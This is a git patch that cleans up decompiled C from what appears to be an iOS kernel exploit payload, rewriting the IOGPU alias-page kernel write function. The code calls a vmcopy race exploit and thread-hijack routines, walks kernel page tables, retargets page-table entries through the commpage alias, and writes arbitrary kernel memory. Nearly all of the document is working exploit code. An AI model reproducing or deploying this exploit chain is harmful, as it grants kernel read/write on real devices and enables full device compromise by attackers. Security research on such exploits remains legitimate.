From 742c1a285e6ccf58c9b26f10c57de7bb2e9289a7 Mon Sep 17 00:00:00 2001 From: khanhduytran0 Date: Wed, 17 Jun 2026 06:54:28 +0700 Subject: [PATCH] Rewrite IOGPU alias page write path --- .../entry1_type0x09_iogpu_physmap_engine.inc | 289 +++++++++--------- 1 file changed, 143 insertions(+), 146 deletions(-) diff --git a/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc b/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc index d37c6ed..0f02f61 100644 --- a/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc +++ b/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc @@ -76,6 +76,17 @@ static inline kern_return_t iogpu_map_memory_entry_fixed(vm_address_t *address, return vm_map(mach_task_self_, address, 0x4000u, 0, 0x4000, port, 0, 0, 3, 3, 1u); } +typedef struct PgtableWalkInfo +{ + uint64_t tableKva; + uint64_t pageBase; + uint32_t pageSize; + uint32_t kindAndFlags; + uint32_t prot; + uint32_t reserved; + uint64_t descriptor; +} PgtableWalkInfo; + //----- (00000000000068F4) ---------------------------------------------------- void __fastcall deallocate_physmap_pages(__int64 a1) { @@ -2883,180 +2894,166 @@ void memory_barrier_dsb_isb() //----- (000000000000B768) ---------------------------------------------------- __int64 __fastcall iogpu_kernel_read_op(struct_krwCtx *krwCtx, unsigned __int64 a2, int a3) { - __int64 v6; // x24 - __int64 v7; // x22 - __int64 v8; // x8 - unsigned __int64 v9; // x23 - int v10; // w0 - __int64 v11; // x24 - int v12; // w0 + __int64 fallbackError; // x24 + __int64 status; // x22 unsigned __int64 port_kaddr; // x0 - unsigned __int64 v15; // x0 - int v16; // w0 - int v17; // w0 - __int64 v18; // x0 - __int64 v19; // x24 - __int64 v20; // x27 - __int64 v21; // x22 - __int16 v22; // w26 - int v23; // w0 - __int64 v24; // x8 - int v25; // [xsp+4h] [xbp-3ACh] BYREF - unsigned __int64 v26[5]; // [xsp+8h] [xbp-3A8h] BYREF - uint64_t v27[5]; // [xsp+30h] [xbp-380h] BYREF - uint64_t v28[2]; // [xsp+58h] [xbp-358h] BYREF - int v29; // [xsp+68h] [xbp-348h] - uint64_t *v30[3]; // [xsp+70h] [xbp-340h] BYREF + unsigned __int64 aliasPage; // x23 + __int64 mappedKernelRegion; // x8 + int physAllocSize; // [xsp+4h] [xbp-3ACh] BYREF + PgtableWalkInfo secondAliasWalk; // [xsp+8h] [xbp-3A8h] BYREF + PgtableWalkInfo firstAliasWalk; // [xsp+30h] [xbp-380h] BYREF + struct + { + uint64_t scanCtx; + uint64_t vmcopyCtx; + int flags; + } hijackArgs; // [xsp+58h] [xbp-358h] BYREF + uint64_t *sectionCtx[3]; // [xsp+70h] [xbp-340h] BYREF uint64_t kernelScanCtx[5]; // [xsp+88h] [xbp-328h] BYREF - uint64_t v34[2]; // [xsp+B0h] [xbp-300h] BYREF - char v35; // [xsp+C4h] [xbp-2ECh] - unsigned __int64 v36; // [xsp+D0h] [xbp-2E0h] + union + { + struct + { + uint64_t dispatchTable; + uint64_t scanCtx; + } vmcopy; + PgtableWalkInfo walk; + } vmcopyOrWalk; // [xsp+B0h] [xbp-300h] BYREF - memset(v26, 0, sizeof(v26)); - memset(v27, 0, sizeof(v27)); - memset(v34, 0, sizeof(v34)); - v35 = 0; - v36 = 0; - v6 = 708619; + memset(&secondAliasWalk, 0, sizeof(secondAliasWalk)); + memset(&firstAliasWalk, 0, sizeof(firstAliasWalk)); + memset(&vmcopyOrWalk.walk, 0, sizeof(vmcopyOrWalk.walk)); + fallbackError = 708619; if ( !(unsigned int)acquire_write_semaphore_lock(krwCtx, 7u, 0x2710u) ) { - v8 = *(uint64_t *)&krwCtx->mappedKernelRegion; - if ( v8 ) + mappedKernelRegion = *(uint64_t *)&krwCtx->mappedKernelRegion; + if ( mappedKernelRegion && *(uint64_t *)&krwCtx->mappedKernelSize ) { - if ( *(uint64_t *)&krwCtx->mappedKernelSize ) - { - v9 = *(uint64_t *)(v8 + 344); - if ( v9 ) - goto LABEL_6; - } + aliasPage = *(uint64_t *)(mappedKernelRegion + 344); + if ( aliasPage ) + goto WRITE_WITH_ALIAS_PAGE; } - v30[2] = kernelScanCtx; - v34[0] = off_448E0; - v34[1] = kernelScanCtx; - v12 = parse_xnu_version_string((__int64)&qword_480D8); - if ( !v12 ) + + sectionCtx[2] = kernelScanCtx; + vmcopyOrWalk.vmcopy.dispatchTable = (uint64_t)off_448E0; + vmcopyOrWalk.vmcopy.scanCtx = (uint64_t)kernelScanCtx; + if ( !(unsigned int)parse_xnu_version_string((__int64)&qword_480D8) ) { - v7 = 163878; + status = 163878; kernelScanCtx[4] = (uint64_t)krwCtx; scan_for_macho_header(kernelScanCtx, krwCtx->gap_0x19D0); port_kaddr = get_task_kobject_addr(krwCtx, mach_task_self_); kernelScanCtx[2] = port_kaddr; - if ( port_kaddr && (kernelScanCtx[3] = kreadptr(krwCtx, port_kaddr)) != 0 ) + if ( !port_kaddr || (kernelScanCtx[3] = kreadptr(krwCtx, port_kaddr)) == 0 ) { - if ( !(unsigned int)init_text_exec_data_const_sections(v30) && !(unsigned int)setup_iokit_notify_dispatch(&qword_48000, v30) ) + fallbackError = 163867; + } + else if ( !(unsigned int)init_text_exec_data_const_sections(sectionCtx) + && !(unsigned int)setup_iokit_notify_dispatch(&qword_48000, sectionCtx) ) + { + hijackArgs.scanCtx = (uint64_t)kernelScanCtx; + hijackArgs.vmcopyCtx = (uint64_t)&vmcopyOrWalk; + hijackArgs.flags = 0; + if ( (unsigned int)exploit_thread_vmcopy_race((__int64)&vmcopyOrWalk) + || (unsigned int)krw_ctx_setup_physmap((__int64)&gPhysmapGadgets, sectionCtx, (__int64)kernelScanCtx) + || (unsigned int)thread_hijack_exploit((__int64)&hijackArgs) ) { - if ( (unsigned int)exploit_thread_vmcopy_race((__int64)v34) - || (unsigned int)krw_ctx_setup_physmap((__int64)&gPhysmapGadgets, v30, (__int64)kernelScanCtx) - || (v28[0] = kernelScanCtx, v28[1] = v34, v29 = 0, (unsigned int)thread_hijack_exploit((__int64)v28)) ) + get_ppnum_via_kread((__int64)&vmcopyOrWalk); + status = 708619; + goto RELEASE_LOCK; + } + + get_ppnum_via_kread((__int64)&vmcopyOrWalk); + physAllocSize = 2 * krwCtx->pageSizeOrSomething; + aliasPage = alloc_physmap_page(krwCtx, (unsigned int *)&physAllocSize); + if ( !aliasPage ) + { + status = 708617; + goto RELEASE_LOCK; + } + if ( !pgtable_walk_wrapper(krwCtx, aliasPage, &firstAliasWalk) ) + goto RELEASE_LOCK; + if ( !pgtable_walk_wrapper(krwCtx, aliasPage + krwCtx->pageSizeOrSomething, &secondAliasWalk) ) + goto RELEASE_LOCK; + + __int64 mappedSecondAliasPage = map_physpage_for_kobj(krwCtx, secondAliasWalk.tableKva); + if ( !mappedSecondAliasPage ) + goto RELEASE_LOCK; + + uint64_t pageMask = krwCtx->pageMask; + if ( pgtable_walk_wrapper(krwCtx, firstAliasWalk.tableKva & ~pageMask, &vmcopyOrWalk.walk) + && (vmcopyOrWalk.walk.descriptor & 0xFFFFFFFFC000LL) != 0 ) + { + uint64_t savedCommPagePte = MEMORY[0x400000008]; + uint64_t commPagePte = (savedCommPagePte & 0xFFFF000000003FFFLL) + | (vmcopyOrWalk.walk.descriptor & 0xFFFFFFFFC000LL); + MEMORY[0x400000008] = commPagePte; + memory_barrier_dsb_isb(); + semaphore_timedwait_ns(krwCtx, 0x2710u); + *(uint64_t *)((firstAliasWalk.tableKva & 0x3FFF) | 0x400004000LL) = + (firstAliasWalk.descriptor & 0xFFFF000000003FFFLL) + | ((((mappedSecondAliasPage & (unsigned __int64)~pageMask) >> 14) & 0x3FFFFFFFFLL) << 14); + memory_barrier_dsb_isb(); + MEMORY[0x400000008] = savedCommPagePte; + semaphore_timedwait_ns(krwCtx, 0x2710u); + mappedKernelRegion = *(uint64_t *)&krwCtx->mappedKernelRegion; + if ( mappedKernelRegion && *(uint64_t *)&krwCtx->mappedKernelSize ) + *(uint64_t *)(mappedKernelRegion + 344) = aliasPage; + goto WRITE_WITH_ALIAS_PAGE; + } + status = 708619; + goto RELEASE_LOCK; + } + } + status = fallbackError; + goto RELEASE_LOCK; + +WRITE_WITH_ALIAS_PAGE: + status = 163878; + if ( pgtable_walk_wrapper(krwCtx, a2, &vmcopyOrWalk.walk) ) + { + if ( (uint8_t)vmcopyOrWalk.walk.kindAndFlags == 3 ) + { + uint64_t aliasPteSlot = + aliasPage + 8 * (((krwCtx->pageSizeOrSomething + (uint32_t)aliasPage) & 0x1FFFFFFu) + / krwCtx->pageSizeOrSomething); + if ( (unsigned int)krw_read_thunk(krwCtx, aliasPteSlot, 8, kernelScanCtx) ) + { + uint64_t retargetedPte = + (kernelScanCtx[0] & 0xFFFF000000003FFFLL) + | (((vmcopyOrWalk.walk.descriptor >> 14) & 0x3FFFFFFFFLL) << 14); + if ( retargetedPte == kernelScanCtx[0] + || (unsigned int)kwrite_with_retry(krwCtx, aliasPteSlot, (__int64)&retargetedPte, 8) ) { - get_ppnum_via_kread((__int64)v34); + if ( retargetedPte != kernelScanCtx[0] ) + semaphore_timedwait_ns(krwCtx, 0x2710u); + if ( noppl_kwrite32(krwCtx, aliasPage + krwCtx->pageSizeOrSomething + (krwCtx->pageMask & a2), a3) ) + status = 0; + else + status = 163856; } else { - get_ppnum_via_kread((__int64)v34); - v25 = 2 * krwCtx->pageSizeOrSomething; - v15 = alloc_physmap_page(krwCtx, (unsigned int *)&v25); - if ( !v15 ) - { - v7 = 708617; - goto LABEL_27; - } - v9 = v15; - v16 = pgtable_walk_wrapper(krwCtx, v15, v27); - if ( !v16 ) - goto LABEL_27; - v17 = pgtable_walk_wrapper(krwCtx, v9 + krwCtx->pageSizeOrSomething, v26); - if ( !v17 ) - goto LABEL_27; - v18 = map_physpage_for_kobj(krwCtx, v26[0]); - if ( !v18 ) - goto LABEL_27; - v19 = v18; - v20 = krwCtx->pageMask; - v21 = v27[4]; - v22 = v27[0]; - v23 = pgtable_walk_wrapper(krwCtx, v27[0] & ~v20, v34); - if ( v23 && (v36 & 0xFFFFFFFFC000LL) != 0 ) - { - v30[0] = (uint64_t *)MEMORY[0x400000008]; - kernelScanCtx[0] = (MEMORY[0x400000008] & 0xFFFF000000003FFFLL) | (v36 & 0xFFFFFFFFC000LL); - MEMORY[0x400000008] = kernelScanCtx[0]; - memory_barrier_dsb_isb(); - semaphore_timedwait_ns(krwCtx, 0x2710u); - *(uint64_t *)((v22 & 0x3FFF) | 0x400004000LL) = (v21 & 0xFFFF000000003FFFLL) - | ((((v19 & (unsigned __int64)~v20) >> 14) & 0x3FFFFFFFFLL) << 14); - memory_barrier_dsb_isb(); - MEMORY[0x400000008] = v30[0]; - semaphore_timedwait_ns(krwCtx, 0x2710u); - v24 = *(uint64_t *)&krwCtx->mappedKernelRegion; - if ( v24 && *(uint64_t *)&krwCtx->mappedKernelSize ) - *(uint64_t *)(v24 + 344) = v9; -LABEL_6: - v7 = 163878; - v10 = pgtable_walk_wrapper(krwCtx, a2, v34); - if ( v10 ) - { - if ( v35 == 3 ) - { - v11 = v9 + 8 * (((krwCtx->pageSizeOrSomething + (uint32_t)v9) & 0x1FFFFFFu) / krwCtx->pageSizeOrSomething); - if ( (unsigned int)krw_read_thunk(krwCtx, v11, 8, kernelScanCtx) ) - { - v27[0] = (kernelScanCtx[0] & 0xFFFF000000003FFFLL) | (((v36 >> 14) & 0x3FFFFFFFFLL) << 14); - if ( v27[0] == kernelScanCtx[0] ) - goto LABEL_12; - if ( (unsigned int)kwrite_with_retry(krwCtx, v11, (__int64)v27, 8) ) - { - semaphore_timedwait_ns(krwCtx, 0x2710u); -LABEL_12: - if ( noppl_kwrite32( - krwCtx, - v9 + krwCtx->pageSizeOrSomething + (krwCtx->pageMask & a2), - a3) ) - { - v7 = 0; - } - else - { - v7 = 163856; - } - goto LABEL_27; - } - v7 = 163856; - } - else - { - v7 = 163855; - } - } - else - { - v7 = 163857; - } - } -LABEL_27: - release_write_semaphore_lock(krwCtx, 7u); - return v7; - } + status = 163856; } - v7 = 708619; - goto LABEL_27; + } + else + { + status = 163855; } } else { - v6 = 163867; + status = 163857; } } - v7 = v6; - goto LABEL_27; + +RELEASE_LOCK: + release_write_semaphore_lock(krwCtx, 7u); + return status; } return 708642; } -// B7FC: variable 'v10' is possibly undefined -// B8D8: variable 'v12' is possibly undefined -// BA3C: variable 'v16' is possibly undefined -// BA54: variable 'v17' is possibly undefined -// BA88: variable 'v23' is possibly undefined // 448E0: using guessed type __int64 (__fastcall *off_448E0[7])(); //----- (000000000000BB3C) ----------------------------------------------------